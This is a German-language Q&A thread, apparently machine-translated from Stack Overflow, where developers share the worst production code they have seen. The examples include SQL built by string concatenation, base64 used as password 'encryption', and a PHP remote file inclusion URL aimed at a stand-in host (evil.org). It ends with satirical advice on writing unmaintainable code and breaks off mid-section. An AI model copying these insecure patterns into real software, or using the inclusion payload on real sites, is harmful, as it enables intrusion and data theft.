Was ist der schlechteste Code, den Sie jemals in einer Produktionsunternehmensumgebung gesehen haben? [geschlossen]

76

Was ist das böseste oder gefährlichste Codefragment, das Sie jemals in einer Produktionsumgebung eines Unternehmens gesehen haben? Ich bin noch nie auf Produktionscode gestoßen, den ich als absichtlich bösartig und böse betrachten würde. Daher bin ich sehr gespannt, was andere gefunden haben.

Der gefährlichste Code, den ich je gesehen habe, war eine gespeicherte Prozedur, die zwei Verbindungsserver von unserem zentralen Produktionsdatenbankserver entfernt war. Die gespeicherte Prozedur akzeptierte jeden NVARCHAR (8000) -Parameter und führte den Parameter auf dem Zielproduktionsserver über einen Doppelsprung-Befehl sp_executeSQL aus. Das heißt, der Befehl sp_executeSQL hat einen weiteren Befehl sp_executeSQL ausgeführt, um zwei Verbindungsserver zu überspringen. Oh, und das Verbindungsserverkonto hatte Systemadministratorrechte auf dem Zielproduktionsserver.

Robert Harvey
quelle
20
Schauen Sie einfach auf thedailywtf.com nach solchen Dingen
Tamas Czinege

Antworten:

331

Warnung: Langer gruseliger Beitrag voraus

Ich habe über eine Anwendung geschrieben, an der ich zuvor hier und hier gearbeitet habe . Um es einfach auszudrücken: Meine Firma hat 130.000 Müllzeilen aus Indien geerbt. Die Anwendung wurde in C # geschrieben; Es war eine Kassierer-App, die gleiche Art von Software-Kassierern, die hinter der Theke verwendet wird, wenn Sie zur Bank gehen. Die App stürzte 40-50 Mal am Tag ab und konnte einfach nicht in Arbeitscode umgewandelt werden. Mein Unternehmen musste die gesamte App innerhalb von 12 Monaten neu schreiben.

Warum ist diese Anwendung böse? Weil der Anblick des Quellcodes ausreichte, um einen vernünftigen Mann und einen verrückten Mann verrückt zu machen. Die verdrehte Logik, mit der diese Anwendung geschrieben wurde, konnte nur von einem Lovecraft-Albtraum inspiriert sein. Zu den einzigartigen Funktionen dieser Anwendung gehören:

  • Von 130.000 Codezeilen enthielt die gesamte Anwendung 5 Klassen (ohne Formulardateien). All dies waren öffentliche statische Klassen. Eine Klasse hieß Globals.cs und enthielt 1000 und 1000 und 1000 öffentliche statische Variablen, die den gesamten Status der Anwendung enthielten. Diese fünf Klassen enthielten insgesamt 20.000 Codezeilen, wobei der verbleibende Code in die Formulare eingebettet war.

  • Sie müssen sich fragen, wie es den Programmierern gelungen ist, eine so große Anwendung ohne Klassen zu schreiben. Womit haben sie ihre Datenobjekte dargestellt? Es stellte sich heraus, dass es den Programmierern gelungen ist, die Hälfte der Konzepte, die wir alle über OOP gelernt haben, durch die Kombination von ArrayLists, HashTables und DataTables neu zu erfinden. Wir haben viel davon gesehen:

    • ArrayListen von Hashtabellen
    • Hashtabellen mit Zeichenfolgenschlüsseln und DataRow-Werten
    • ArrayLists of DataTables
    • DataRows mit ArrayLists, die HashTables enthielten
    • ArrayLists of DataRows
    • ArrayLists von ArrayLists
    • HashTables mit String-Schlüsseln und HashTable-Werten
    • ArrayLists von ArrayLists von HashTables
    • Jede andere Kombination von ArrayLists, HashTables, DataTables, die Sie sich vorstellen können.

    Denken Sie daran, dass keine der oben genannten Datenstrukturen stark typisiert ist. Sie müssen also jedes mysteriöse Objekt, das Sie aus der Liste erhalten, in den richtigen Typ umwandeln. Es ist erstaunlich, welche komplexen, Rube Goldberg-ähnlichen Datenstrukturen Sie nur mit ArrayLists, HashTables und DataTables erstellen können.

  • Um ein Beispiel für die Verwendung des oben beschriebenen Objektmodells zu geben, betrachten Sie Konten: Der ursprüngliche Programmierer hat für jede erkennbare Eigenschaft eines Kontos eine separate HashTable erstellt: eine HashTable mit den Namen hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Der Schlüssel für all diese Hashtabellen war ein "|" getrennte Zeichenfolge. Zu den denkbaren Schlüsseln gehörten "123456 | DDA", "24100 | SVG", "100 | LNS" usw.

  • Da der Status der gesamten Anwendung über globale Variablen leicht zugänglich war, war es für die Programmierer nicht erforderlich, Parameter an Methoden zu übergeben. Ich würde sagen, 90% der Methoden haben 0 Parameter verwendet. Von den wenigen, die dies taten, wurden alle Parameter der Einfachheit halber als Zeichenfolgen übergeben, unabhängig davon, was die Zeichenfolge darstellte.

  • Nebenwirkungsfreie Funktionen gab es nicht. Jede Methode hat eine oder mehrere Variablen in der Globals-Klasse geändert. Nicht alle Nebenwirkungen machten Sinn; Beispielsweise hatte eine der Methoden zur Formularvalidierung einen mysteriösen Nebeneffekt bei der Berechnung von Über- und Unterzahlungen für Kredite für jedes Konto, das in Globals.lngAcctNum gespeichert war.

  • Obwohl es viele Formulare gab, gab es ein Formular, das sie alle beherrschte: frmMain.cs, das satte 20.000 Codezeilen enthielt. Was hat frmMain gemacht? Alles. Es suchte nach Konten, druckte Quittungen, gab Bargeld aus, es tat alles.

    Manchmal waren andere Formulare erforderlich, um Methoden auf frmMain aufzurufen. Anstatt diesen Code aus dem Formular in eine separate Klasse zu zerlegen, rufen Sie den Code einfach direkt auf:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • Um nach Konten zu suchen, haben die Programmierer Folgendes getan:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    So schlecht es bereits ist, ein unsichtbares Formular zur Ausführung der Geschäftslogik zu erstellen, woher wusste das Formular Ihrer Meinung nach, welches Konto nachgeschlagen werden muss? Das ist einfach: Das Formular kann auf Globals.lngAcctNum und Globals.strAcctType zugreifen. (Wer liebt die ungarische Notation nicht?)

  • Die Wiederverwendung von Code war ein Synonym für Strg-C, Strg-V. Ich habe 200-Zeilen-Methoden gefunden, die in 20 Formulare kopiert / eingefügt wurden.

  • Die Anwendung hatte ein bizarres Threading-Modell, was ich gerne als Thread-and-Timer-Modell bezeichne: Jedes Formular, aus dem ein Thread hervorging, hatte einen Timer. Jeder Thread, der erzeugt wurde, startete einen Timer mit einer Verzögerung von 200 ms. Sobald der Timer gestartet wurde, prüfte er, ob der Thread einen magischen Booleschen Wert gesetzt hatte, und brach den Thread ab. Die resultierende ThreadAbortException wurde verschluckt.

    Sie würden denken, Sie würden dieses Muster nur einmal sehen, aber ich habe es an mindestens 10 verschiedenen Stellen gefunden.

  • Apropos Threads: Das Schlüsselwort "Sperre" wurde in der Anwendung nie angezeigt. Threads manipulierten den globalen Status frei, ohne eine Sperre zu nehmen.

  • Jede Methode in der Anwendung enthielt einen Try / Catch-Block. Jede Ausnahme wurde protokolliert und verschluckt.

  • Wer beim Einschalten von Saiten Enums einschalten muss, ist genauso einfach!

  • Einige Genies haben herausgefunden, dass Sie mehrere Formularsteuerelemente mit demselben Ereignishandler verknüpfen können. Wie hat der Programmierer damit umgegangen?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • Das gleiche Genie entdeckte auch den glorreichen ternären Operator. Hier sind einige Codebeispiele:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • Hier ist ein Code-Snippet, das den typischen Missbrauch des StringBuilder demonstriert. Beachten Sie, wie der Programmierer eine Zeichenfolge in einer Schleife verknüpft und die resultierende Zeichenfolge dann an den StringBuilder anfügt:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • Für Tabellen gab es keine Primärschlüssel, Indizes oder Fremdschlüsseleinschränkungen, fast alle Felder waren vom Typ varchar (50) und 100% der Felder waren nullwertfähig. Interessanterweise wurden Bitfelder nicht zum Speichern von Booleschen Daten verwendet. Stattdessen wurde ein char (1) -Feld verwendet und die Zeichen 'Y' und 'N' wurden verwendet, um wahr bzw. falsch darzustellen.

    • Apropos Datenbank: Hier ist ein repräsentatives Beispiel für eine gespeicherte Prozedur:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

Trotz alledem ist das größte Problem bei dieser 130.000-Linien-Anwendung: keine Unit-Tests.

Ja, ich habe diese Geschichte an TheDailyWTF gesendet und dann meinen Job gekündigt.

Julia
quelle
61
kriecht auf dem Boden herum und sucht nach Kiefer
Andrew Kennan
57
Eigentlich ist dies ein Vortrag über die Verschleierung von Code.
Splattne
58
Und das Deprimierende ist, dass irgendwo ein Programmierer, der an diesem Code gearbeitet hat, denkt, dass er gute Arbeit geleistet hat und dies in seinem Lebenslauf vorführt. "Ungelernt und ohne es zu merken"
Sergio Acosta
38
Hey du, ich habe diesen Code geschrieben und ich denke, es ist ziemlich gut, wenn du denkst, du kannst es besser machen, solltest du es versuchen
Beska
17
Eine sehr verwässerte Version eines Teils der Management-Geschichte landete heute im DailyWTF: thedailywtf.com/Articles/eTeller-Horror.aspx
Juliet
70

Ich habe eine solche Passwortverschlüsselungsfunktion gesehen

function EncryptPassword($password)
{
    return base64_encode($password);
}
Benutzer54045
quelle
10
LOL - das ist wie das Verteilen von Gehaltsabrechnungen, Kontoauszügen usw. in transparenten Umschlägen. :-)
Christian Hayter
+1, zu haeldar und christian. lmao
Cam
3
Yowch. Ich habe einmal in der Datenbank einer kommerziellen Web-App gefunden, was wie gut gehashte Passwörter aussah. Es stellte sich heraus, dass es sich nur um einfachen Text handelte, der in einer VARBINARY-Spalte gespeichert war, sodass man es auf den ersten Blick nicht erkennen konnte.
Matt Gibson
Leider ist das im Grunde die Passwortverschlüsselung in einem Projekt, das ich geerbt habe. Obwohl ihre alte benutzerdefinierte Base64-Codierungsfunktion es falsch gemacht hat, denke ich, dass das ein Problem ist ;-)
Allbite
69

In einem System, das Kreditkartenzahlungen akzeptiert hat, haben wir die vollständige Kreditkartennummer zusammen mit Name, Ablaufdatum usw. gespeichert.

Es stellt sich heraus, dass dies illegal ist, was ironisch ist, da wir zu dieser Zeit das Programm für das Justizministerium geschrieben haben.

Cameron MacFarland
quelle
Weiß jemand, wie Amazon dieses Problem löst? Oder ist es legal, wenn Sie um die Erlaubnis des Benutzers bitten?
Davy Landman
7
+1 für den ironischen Teil.
Earlz
@ Dave - Verschiedene Länder haben unterschiedliche Regeln.
Cameron MacFarland
@ Dave - Verschlüsselung. Das Speichern ist legal, wenn es verschlüsselt und nur bei Bedarf zugänglich ist. Es gibt viele Regeln zu Stärke, Retention, DMZs usw., siehe hier pcisecuritystandards.org/security_standards/pci_dss.shtml
Luke Schafer
1
Na sicher. Seit wann gilt das Gesetz für die Regierung?
Loren Pechtel
30

Dies war die Fehlerbehandlungsroutine in einem kommerziellen Code:

/* FIXME! */
while (TRUE)
    ;

Ich sollte herausfinden, warum "die App immer wieder blockiert".

Dour High Arch
quelle
2
Sieht für mich nach absichtlicher Sabotage aus!
Chad
1
Gut, dass es ein FIXME gab, damit die IDE Sie zu dieser Zeile weiterleiten konnte.
Josh Lee
7
@Chadworthington: Wenn es beabsichtigt wäre, wäre der Kommentar / * NICHT FIXME gewesen! * /; P
David
2
Wird so etwas nicht von Compilern beim Erstellen einer kommerziellen Version optimiert?
Attila Kun
3
In dieser Situation hat der Compiler die Schleife nicht "optimiert"; Was würde es "optimieren"? Auch "absichtliche Sabotage" war eine eindeutige Möglichkeit. Das "FIXME" könnte zur Verleugnung dienen.
Dour High Arch
28

Kombination aller folgenden PHP 'Features' auf einmal.

  1. Registrieren Sie Globals
  2. Variablenvariablen
  3. Aufnahme von Remote-Dateien und Code über include ("http: // ...");
  4. Wirklich schreckliche Array- / Variablennamen (wörtliches Beispiel):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (Ich habe buchstäblich eine Stunde lang versucht herauszufinden, wie das funktioniert, bevor mir klar wurde, dass sie nicht dieselbe Variable sind.)

  5. Schließen Sie 50 Dateien ein, von denen jede 50 Dateien enthält, und alles wird linear / prozedural über alle 50 Dateien auf bedingte und unvorhersehbare Weise ausgeführt.

Für diejenigen, die keine variablen Variablen kennen:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

Stellen Sie sich nun vor, $ x enthält einen Wert aus Ihrer URL (Globals Magic registrieren). Nirgendwo in Ihrem Code ist also ersichtlich, mit welcher Variablen Sie arbeiten, da alles durch die URL bestimmt wird.

Überlegen Sie nun, was passiert, wenn der Inhalt dieser Variablen eine vom Benutzer der Website angegebene URL sein kann. Ja, dies ist für Sie möglicherweise nicht sinnvoll, erstellt jedoch eine Variable mit dem Namen "url", dh:

$http://google.com,

außer dass nicht direkt darauf zugegriffen werden kann, müssen Sie es über die oben beschriebene double $ -Technik verwenden.

Wenn es einem Benutzer möglich ist, eine Variable in der URL anzugeben, die angibt, welche Datei eingeschlossen werden soll, gibt es außerdem böse Tricks wie

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

und wenn diese Variable auftaucht include($include)

und 'evilcode.php' druckt seinen Code im Klartext, und Php ist unangemessen gesichert. PHP wird einfach heruntergefahren, evilcode.php heruntergeladen und als Benutzer des Webservers ausgeführt.

Der Web-Server gibt ihm alle Berechtigungen usw., lässt Shell-Aufrufe zu, lädt beliebige Binärdateien herunter und führt sie aus usw. usw., bis Sie sich schließlich fragen, warum in einer Box nicht genügend Speicherplatz vorhanden ist und ein Verzeichnis 8 GB Raubkopien enthält italienische Synchronisation, die über einen Bot im IRC geteilt wird.

Ich bin nur dankbar, dass ich herausgefunden habe, dass Gräueltaten, bevor das Skript, das den Angriff ausführt, beschlossen hat, etwas wirklich Gefährliches zu tun, wie äußerst vertrauliche Informationen aus der mehr oder weniger ungesicherten Datenbank zu sammeln: |

(Ich könnte das tägliche WTF 6 Monate lang jeden Tag mit dieser Codebasis unterhalten, ich mache dir nichts vor. Es ist nur eine Schande, dass ich das tägliche WTF entdeckt habe, nachdem ich diesem Code entkommen bin.)

Kent Fredric
quelle
5
"Ich bin nur dankbar, dass ich diese Gräueltat entdeckt habe, bevor das Skript beschlossen hat, die Datenbank zu ernten: |" Wie würdest du wissen? Für alle intensiven Schweinswale hat es das vielleicht schon getan, ohne dass es jemand bemerkt hat ...
Piskvor verließ das Gebäude am
Möglicherweise hat es, aber die Datenbankprotokolle zeigten nicht viel an, dass es tat.
Kent Fredric
PHP ist ein Anti-Pattern an sich.
Thomas Eding
28

In der Header-Datei des Hauptprojekts von einem alten COBOL-Programmierer, der unerklärlicherweise einen Compiler in C schrieb:

int i, j, k;

"Sie erhalten also keinen Compilerfehler, wenn Sie vergessen, Ihre Schleifenvariablen zu deklarieren."

Mark Harrison
quelle
25

Das Windows-Installationsprogramm.

Charlie Martin
quelle
Wow, es ist wirklich lustig UND es ist originell!
TM.
Ich stimme Witzen nie zu, aber Sie erhalten +1 für Kreativität.
Robert S.
Es ist nicht so schlimm, solange Sie die richtigen Tools zum Erstellen des Pakets (WiX) verwenden. Der VS-Editor und InstallShield sind jedoch böse
erikkallen
20

Dieser Artikel Wie man nicht wartbaren Code schreibt, behandelt einige der brillantesten Techniken, die der Mensch kennt . Einige meiner Favoriten sind:


Neue Verwendungen für Namen für Baby

Wenn Sie eine Kopie eines Babynamenbuchs kaufen, werden Sie bei Variablennamen nie ratlos sein. Fred ist ein wunderbarer Name und leicht zu tippen. Wenn Sie nach einfach zu tippenden Variablennamen suchen, versuchen Sie es mit adsf oder aoeu, wenn Sie mit einer DSK-Tastatur tippen.

Kreative Rechtschreibfehler

Wenn Sie beschreibende Variablen- und Funktionsnamen verwenden müssen, schreiben Sie diese falsch. Durch die falsche Schreibweise in einigen Funktions- und Variablennamen und die korrekte Schreibweise in anderen (z. B. SetPintleOpening SetPintalClosing) wird die Verwendung von Grep- oder IDE-Suchtechniken effektiv negiert. Es funktioniert erstaunlich gut. Fügen Sie ein internationales Flair hinzu, indem Sie Tory oder Tori in verschiedenen Theatern / Theatern buchstabieren.

Sei abstrakt

Verwenden Sie beim Benennen von Funktionen und Variablen häufig abstrakte Wörter wie alles, Daten, Handle, Stuff, Do, Routine, Perform und die Ziffern, z. B. RoutineX48, PerformDataFunction, DoIt, HandleStuff und do_args_method.

Kapitalisierung

Großschreibung des ersten Buchstabens einer Silbe in der Mitte eines Wortes nach dem Zufallsprinzip. Zum Beispiel ComputeRasterHistoGram ().

Kleinbuchstaben l Sieht der Ziffer 1 sehr ähnlich

Verwenden Sie Kleinbuchstaben l, um lange Konstanten anzugeben. zB wird 10l eher mit 101 verwechselt als mit 10L. Verbieten Sie alle Schriftarten, die eindeutig von uvw wW gq9 2z 5s il17 |! J oO08 `'";,. M nn rn {[()]} unterscheiden. Seien Sie kreativ.

Recyceln Sie Ihre Variablen

Wo immer die Bereichsregeln dies zulassen, verwenden Sie vorhandene nicht verwandte Variablennamen wieder. Verwenden Sie dieselbe temporäre Variable in ähnlicher Weise für zwei nicht miteinander verbundene Zwecke (angeblich zum Speichern von Stapelsteckplätzen). Verwandeln Sie für eine teuflische Variante die Variable, weisen Sie beispielsweise einer Variablen am Anfang einer sehr langen Methode einen Wert zu und ändern Sie dann irgendwo in der Mitte die Bedeutung der Variablen auf subtile Weise, z. B. durch Konvertieren von eine 0-basierte Koordinate zu einer 1-basierten Koordinate. Stellen Sie sicher, dass Sie diese Bedeutungsänderung nicht dokumentieren.

Cd wrttn wtht vwls s mch trsr

Wenn Sie Abkürzungen in Variablen- oder Methodennamen verwenden, brechen Sie die Langeweile mit mehreren Varianten für dasselbe Wort und buchstabieren Sie sie gelegentlich sogar in Langschrift. Dies hilft dabei, die faulen Penner zu besiegen, die die Textsuche verwenden, um nur einen Aspekt Ihres Programms zu verstehen. Betrachten Sie abweichende Schreibweisen als eine Variante des Tricks, z. B. das Mischen internationaler Farben mit amerikanischer Farbe und kulerz mit Dude-Sprache. Wenn Sie die Namen vollständig buchstabieren, gibt es nur eine Möglichkeit, jeden Namen zu buchstabieren. Diese sind für den Wartungsprogrammierer zu leicht zu merken. Da es so viele verschiedene Möglichkeiten gibt, ein Wort mit Abkürzungen abzukürzen, können Sie mehrere verschiedene Variablen verwenden, die alle denselben offensichtlichen Zweck haben. Als zusätzlichen Bonus bemerkt der Wartungsprogrammierer möglicherweise nicht einmal, dass es sich um separate Variablen handelt.

Obskure Filmreferenzen

Verwenden Sie konstante Namen wie LancelotsFavouriteColour anstelle von Blau und weisen Sie ihm einen Hex-Wert von $ 0204FB zu. Die Farbe sieht auf dem Bildschirm identisch mit reinem Blau aus, und ein Wartungsprogrammierer müsste 0204FB (oder ein grafisches Werkzeug) berechnen, um zu wissen, wie es aussieht. Nur jemand, der mit Monty Python und dem Heiligen Gral bestens vertraut ist, würde wissen, dass Lancelots Lieblingsfarbe Blau war. Wenn ein Wartungsprogrammierer nicht ganze Monty Python-Filme aus dem Speicher zitieren kann, hat er oder sie nichts damit zu tun, Programmierer zu sein.

Dokumentieren Sie das Offensichtliche

Pepper den Code mit Kommentaren wie / * addiere 1 zu i * / dokumentiere jedoch niemals wolliges Zeug wie den Gesamtzweck des Pakets oder der Methode.

Dokumentieren Sie, wie nicht warum

Dokumentieren Sie nur die Details dessen, was ein Programm tut, nicht was es zu erreichen versucht. Auf diese Weise hat der Fixierer im Fehlerfall keine Ahnung, was der Code tun soll.

Nebenwirkungen

In C sollen Funktionen idempotent sein (ohne Nebenwirkungen). Ich hoffe dieser Hinweis reicht aus.

Verwenden Sie Octal

Schmuggeln Sie Oktalliterale in eine Liste von Dezimalzahlen wie folgt:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

Erweitertes ASCII

Erweiterte ASCII-Zeichen sind als Variablennamen gültig, einschließlich der Zeichen ß, Ð und ñ. Sie können kaum kopiert werden, ohne sie in einem einfachen Texteditor zu kopieren / einzufügen.

Namen aus anderen Sprachen

Verwenden Sie fremdsprachige Wörterbücher als Quelle für Variablennamen. Verwenden Sie zum Beispiel den deutschen Punkt für Punkt. Wartungscodierer genießen ohne Ihre festen Deutschkenntnisse die multikulturelle Erfahrung, die Bedeutung zu entschlüsseln.

Namen aus der Mathematik

Wählen Sie Variablennamen, die sich als mathematische Operatoren tarnen, z.

openParen = (slash + asterix) / equals;

Code, der sich als Kommentar tarnt und umgekehrt

Fügen Sie Codeabschnitte ein, die auskommentiert sind, aber auf den ersten Blick nicht zu sein scheinen.

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

Würden Sie ohne die Farbcodierung feststellen, dass drei Codezeilen auskommentiert sind?

Beliebige Namen, die sich als Schlüsselwörter tarnen

Wenn Sie dokumentieren und einen beliebigen Namen benötigen, um einen Dateinamen darzustellen, verwenden Sie "Datei". Verwenden Sie niemals einen offensichtlich willkürlichen Namen wie "Charlie.dat" oder "Frodo.txt". Verwenden Sie in Ihren Beispielen im Allgemeinen beliebige Namen, die so ähnlich wie möglich nach reservierten Schlüsselwörtern klingen. Gute Namen für Parameter oder Variablen wären beispielsweise "bank", "leer", "Klasse", "const", "konstant", "Eingabe", "Schlüssel", "Schlüsselwort", "Art", "Ausgabe". , "Parameter" "Parameter", "System", "Typ", "Wert", "Var" und "Variable". Wenn Sie tatsächlich reservierte Wörter für Ihre beliebigen Namen verwenden, die von Ihrem Befehlsprozessor oder Compiler abgelehnt würden, umso besser. Wenn du das gut machst,

Codenamen dürfen nicht mit Bildschirmnamen übereinstimmen

Wählen Sie Ihre Variablennamen so aus, dass sie absolut keinen Bezug zu den Beschriftungen haben, die verwendet werden, wenn solche Variablen auf dem Bildschirm angezeigt werden. ZB auf dem Bildschirm das Feld "Postleitzahl" beschriften, aber im Code die zugehörige Variable "zip" aufrufen.

Auswahl des besten Überlastungsoperators

Überladen Sie in C ++ +, -, *, /, um Dinge zu tun, die nichts mit Addition, Subtraktion usw. zu tun haben. Wenn die Stroustroup den Shift-Operator für E / A verwenden kann, warum sollten Sie dann nicht gleichermaßen kreativ sein? Wenn Sie + überladen, stellen Sie sicher, dass Sie dies so tun, dass i = i + 5; hat eine ganz andere Bedeutung als i + = 5; Hier ist ein Beispiel für die Erhöhung der Verschleierung von Überlastungsoperatoren auf eine hohe Kunst. Überladen Sie das '!' Operator für eine Klasse, aber die Überlastung haben nichts mit Invertieren oder Negieren zu tun. Lassen Sie es eine ganze Zahl zurückgeben. Um einen logischen Wert dafür zu erhalten, müssen Sie '! ! '. Dies kehrt jedoch die Logik um, sodass Sie [Trommelwirbel] verwenden müssen '! ! ! '. Verwechseln Sie das nicht! Operator, der eine boolesche 0 oder 1 mit dem ~ bitweisen logischen Negationsoperator zurückgibt.

Ausnahmen

